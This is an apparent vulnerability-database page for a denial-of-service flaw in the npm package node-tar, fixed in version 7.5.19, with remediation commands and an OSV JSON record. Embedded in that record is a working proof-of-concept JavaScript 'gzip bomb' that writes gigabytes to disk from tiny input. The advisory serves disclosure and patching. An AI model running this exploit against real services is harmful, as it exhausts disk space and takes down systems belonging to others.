CVE-2026-59873: node-tar Denial of Service Vulnerability
CRITICALCVE-2026-59873 is a CRITICAL (CVSS 7.5) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting node-tar libraries in the npm ecosystem. The issue involves decompression/parse dos via unlimited input. Remediation is available by upgrading affected packages to version 7.5.19.
CVE-2026-59873 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-59873
To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install tar@7.5.19
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls tar
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-59873, inspect your project dependencies using npm:
npm ls tar
Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.5.19), your application is affected.
Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59873 Affected node-tar Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tar
|
npm |
< 7.5.19
|
7.5.19
|
References
Frequently Asked Questions
What is CVE-2026-59873?
Which node-tar versions are affected?
What version fixes CVE-2026-59873?
Is tar affected?
What is the CVSS score of CVE-2026-59873?
What CWE is associated with CVE-2026-59873?
How can I check npm dependencies for CVE-2026-59873?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-23hp-3jrh-7fpw",
"modified" : "2026-07-20T21:52:03Z",
"published" : "2026-07-20T21:52:03Z",
"aliases" : [ "CVE-2026-59873" ],
"summary" : "node-tar: Decompression/parse DoS via unlimited input",
"details" : "### Summary\nA **Decompression/parse DoS via unlimited input** vulnerability in `node-tar` allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted \"Gzip Bomb\" can be used to fill a server's storage and crash services.\n\n### Details\nThe `node-tar` library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the `maxReadSize` option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.\n\nSpecifically, in `src/extract.ts`, the `Unpack` stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). `node-tar` will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.\n\n### PoC\nThe following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.\n\n1. Create the exploit script:\n```javascript\nconst fs = require('fs'), z = require('zlib'), t = require('tar');\n\nconst d = 'dos_test';\nif (fs.existsSync(d)) fs.rmSync(d, {recursive:true});\nfs.mkdirSync(d);\n\n// Build 10GB header\nconst h = Buffer.alloc(512);\nh.write('payload');\nh.write((10*1024**3).toString(8).padStart(11,'0'), 124); \nh.write('ustar', 257);\nlet s = 256;\nfor(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];\nh.write(s.toString(8).padStart(6,'0'), 148);\n\nconst gz = z.createGzip();\ngz.pipe(t.x({cwd: d}));\ngz.write(h);\n\nconst b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed\n\nconst run = () => {\n while (gz.write(b));\n gz.once('drain', run);\n};\n\nconst monitor = setInterval(() => {\n try {\n const bytes = fs.statSync(`${d}/payload`).size;\n const mb = Math.floor(bytes / (1024 * 1024));\n process.stdout.write(`\\r[>] Extracted: ${mb} MB`);\n \n if (mb > 5000) { \n console.log('\\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); \n process.exit(); \n }\n } catch {}\n}, 50);\n\nprocess.on('exit', () => {\n clearInterval(monitor);\n console.log('[*] Cleaning up...');\n if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});\n});\n\nrun();\n```\n\n2. Run the PoC:\n```bash\nnode poc.js\n```\n\n**Observation:** You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being \"sent\" through the gzip stream is negligible.\n\n### Impact\nThis is a **Denial of Service (DoS)** vulnerability. It impacts any application or service that uses `node-tar` to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "tar"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.5.19"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 7.5.18"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59873"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/isaacs/node-tar"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/releases/tag/v7.5.19"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T21:52:03Z",
"nvd_published_at" : "2026-07-08T16:16:33Z"
}
}